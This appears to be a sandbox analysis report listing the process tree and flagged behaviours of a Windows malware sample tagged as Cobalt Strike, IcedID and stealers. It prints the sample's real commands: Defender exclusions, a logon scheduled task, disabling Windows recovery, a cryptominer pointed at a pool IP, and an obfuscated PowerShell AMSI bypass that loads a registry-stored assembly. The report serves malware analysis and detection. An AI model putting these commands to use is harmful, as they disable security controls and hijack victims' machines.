PID 620 wrote to memory of 1472	620	winlogon.exe	27
PID 620 wrote to memory of 1720	620	winlogon.exe	28
PID 620 wrote to memory of 1760	620	winlogon.exe	29
PID 620 wrote to memory of 1776	620	winlogon.exe	30
PID 620 wrote to memory of 1876	620	winlogon.exe	31
PID 620 wrote to memory of 1900	620	winlogon.exe	32
PID 620 wrote to memory of 2568	620	winlogon.exe	154
PID 620 wrote to memory of 1920	620	winlogon.exe	33
PID 620 wrote to memory of 2008	620	winlogon.exe	34
PID 620 wrote to memory of 1768	620	winlogon.exe	35
PID 620 wrote to memory of 1820	620	winlogon.exe	36
PID 620 wrote to memory of 2096	620	winlogon.exe	37
PID 620 wrote to memory of 2144	620	winlogon.exe	38
PID 620 wrote to memory of 2168	620	winlogon.exe	39
PID 620 wrote to memory of 2264	620	winlogon.exe	40
PID 620 wrote to memory of 2380	620	winlogon.exe	42
PID 620 wrote to memory of 2520	620	winlogon.exe	43
PID 620 wrote to memory of 2648	620	winlogon.exe	44
PID 620 wrote to memory of 2656	620	winlogon.exe	45
PID 620 wrote to memory of 2764	620	winlogon.exe	46
PID 620 wrote to memory of 2772	620	winlogon.exe	47
PID 620 wrote to memory of 2816	620	winlogon.exe	48
PID 620 wrote to memory of 2852	620	winlogon.exe	49
PID 620 wrote to memory of 3056	620	winlogon.exe	51
PID 620 wrote to memory of 2088	620	winlogon.exe	52
PID 620 wrote to memory of 1036	620	winlogon.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:452
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2568
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4000
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4000 -s 384
    3⤵
    PID:5128

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-888ce475-a75c-4bcb-b7ef-313a7ab1c0e1 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-424f45f0-a3e9-47f1-b564-c4196175302d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f22c3176-2db1-4946-92ca-08051ca2873d -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-337e034f-461f-4040-a641-f3c2f6a3f1ca -LifetimeId:e8b22b59-a692-44fb-bf28-a62c601986f0 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1200
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2168

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Suspicious use of UnmapMainImage
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3184

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3272
- C:\Users\Admin\AppData\Local\Temp\2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-10_b9b7b808c65f7cabb7b995b2d46558f1_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1300
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4700
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2156
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4132
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1104
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4612
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1392
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:824
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4044
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3504
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3204
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
  - - C:\Users\Admin\AppData\Local\Temp\EbVZaGkC.exe
      "C:\Users\Admin\AppData\Local\Temp\EbVZaGkC.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2668
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:396
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3396

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3584

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4088

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:3352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4988

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1576

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2976

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4028
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 532 -p 4000 -ip 4000
  2⤵
  PID:816

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:884

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
PID:4272

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1788

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4904

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:xvVHeVzoCLZl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NIuRYaOLgaqtym,[Parameter(Position=1)][Type]$toRPlTuYfB)$aMdaxcLCVBP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+'l'+''+'e'+'ga'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+'g'+''+'a'+'t'+'e'+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+'a'+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$aMdaxcLCVBP.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+[Char](101)+''+[Char](99)+'i'+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+'e'+','+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NIuRYaOLgaqtym).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+'g'+[Char](101)+''+[Char](100)+'');$aMdaxcLCVBP.DefineMethod(''+[Char](73)+'n'+'v'+'oke',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+''+','+''+'V'+'i'+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$toRPlTuYfB,$NIuRYaOLgaqtym).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $aMdaxcLCVBP.CreateType();}$DPtApZjYvKDDZ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+''+[Char](101)+'M'+'e'+'t'+'h'+''+'o'+'ds');$bBwHaFIpMHqQue=$DPtApZjYvKDDZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+'d'+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+'i'+'c'+[Char](44)+'S'+[Char](116)+'a'+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EAkahnborJBZfGUinZi=xvVHeVzoCLZl @([String])([IntPtr]);$rQnOrzgKSzwcKjgHRtDOnF=xvVHeVzoCLZl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PBuiRJooxnW=$DPtApZjYvKDDZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+'n'+'e'+[Char](108)+'3'+'2'+''+[Char](46)+''+[Char](100)+'ll')));$udEaBIlTwxfOFg=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$PBuiRJooxnW,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+'r'+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$CfsdrlZIyaPnTTZZj=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$PBuiRJooxnW,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$TSQYfXJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($udEaBIlTwxfOFg,$EAkahnborJBZfGUinZi).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i.'+'d'+''+'l'+''+[Char](108)+'');$rwCJZdmUuyiRzjVNa=$bBwHaFIpMHqQue.Invoke($Null,@([Object]$TSQYfXJ,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$EUflxJyeuR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfsdrlZIyaPnTTZZj,$rQnOrzgKSzwcKjgHRtDOnF).Invoke($rwCJZdmUuyiRzjVNa,[uint32]8,4,[ref]$EUflxJyeuR);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](52+79),[Byte](55+137),[Byte](187-187),[Byte](154+30),[Byte](104-17),[Byte](244-244),[Byte](231-224),[Byte](17+111),[Byte](241-104),[Byte](145+65),[Byte](178+17),[Byte](70+61),[Byte](219-26),[Byte](157-157)),0,$rwCJZdmUuyiRzjVNa,82-68);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CfsdrlZIyaPnTTZZj,$rQnOrzgKSzwcKjgHRtDOnF).Invoke($rwCJZdmUuyiRzjVNa,[uint32]8,0x20,[ref]$EUflxJyeuR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+[Char](83)+''+'H'+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:xvVHeVzoCLZl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NIuRYaOLgaqtym,[Parameter(Position=1)][Type]$toRPlTuYfB)$aMdaxcLCVBP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+'l'+''+'e'+'ga'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+'g'+''+'a'+'t'+'e'+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+'a'+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$aMdaxcLCVBP.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+[Char](101)+''+[Char](99)+'i'+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+'e'+','+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NIuRYaOLgaqtym).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+'g'+[Char](101)+''+[Char](100)+'');$aMdaxcLCVBP.DefineMethod(''+[Char](73)+'n'+'v'+'oke',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+''+','+''+'V'+'i'+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$toRPlTuYfB,$NIuRYaOLgaqtym).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $aMdaxcLCVBP.CreateType();}$DPtApZjYvKDDZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 